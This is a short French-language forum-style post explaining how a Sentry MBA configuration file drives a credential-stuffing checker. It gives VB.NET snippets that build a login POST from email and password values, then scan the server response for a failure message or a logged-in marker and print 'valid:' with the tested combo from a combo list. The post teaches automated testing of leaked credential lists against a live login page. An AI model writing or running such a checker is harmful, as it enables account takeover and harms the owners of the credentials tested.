Comme vous pouvez le voir, c'est un fichier .ini, donc sentry mba, quand tu loads le fichier .ini va recherché toutes les valeurs que le dév à mis exemple: Language, quand sentry ouvre la config il va trouver language et mettre le résultat ( eng ) en variable qu'il va ensuite utiliser et donc l'utilisé de ceci c'est que tu peux le modifier comme tu le veux manuellement ou automatiquement
ensuite la connection, dans la veleur Action= il va envoyé une requête ce qui donnerait dans le code ça en vb.net vu que c'est un language simple pour les nouveaux:

Dim request = WebRequest.Create("le contenu de la valeur")

ensuite il y a la valeur AddData qui elle donne les valeurs à envoyé dans le code:

Dim postData = "email=" & Email & "&password=" & Password & "&_eventId=submit&cid=&showAgeUp=true&googleCaptchaResponse=&_rememberMe=on"

voila ensuite, il envoie une requete qui est récupérer et qui regarde si il est valide avec les keywords, code:

                If responseFromServer.Contains("Your credentials are incorrect or have expired. Please try again or reset your password.") Then

                ElseIf responseFromServer.Contains("pc-content-login") Then
                    Console.Write("valid: " & Combos(index) & Environment.NewLine)
                End If

voila, j’espère que je vous aurez éclairer
